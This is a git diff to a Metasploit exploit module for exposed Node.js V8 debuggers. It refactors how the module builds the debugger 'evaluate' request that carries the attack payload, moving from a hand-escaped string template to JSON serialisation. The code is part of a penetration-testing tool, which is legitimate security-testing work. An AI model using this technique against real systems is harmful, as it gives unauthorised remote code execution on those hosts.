diff --git a/modules/exploits/multi/misc/nodejs_v8_debugger.rb b/modules/exploits/multi/misc/nodejs_v8_debugger.rb index 3a887514a62c..ac1e5b457321 100644 --- a/modules/exploits/multi/misc/nodejs_v8_debugger.rb +++ b/modules/exploits/multi/misc/nodejs_v8_debugger.rb @@ -9,7 +9,6 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp MESSAGE_HEADER_TEMPLATE = "Content-Length: %{length}\r\n\r\n" - MESSAGE_TEMPLATE = '{"seq":1,"type":"request","command":"evaluate","arguments":{"expression":"%{payload}","global":true,"maxStringLength":-1}}' def initialize(info={}) super(update_info(info, @@ -44,8 +43,14 @@ def initialize(info={}) end def make_eval_message - escaped_payload = payload.encoded.gsub(/"/, '\\"') - msg_body = MESSAGE_TEMPLATE % {:payload => escaped_payload} + msg_body = { seq: 1, + type: 'request', + command: 'evaluate', + arguments: { expression: payload.encoded, + global: true, + maxStringLength:-1 + } + }.to_json msg_header = MESSAGE_HEADER_TEMPLATE % {:length => msg_body.length} msg_header + msg_body end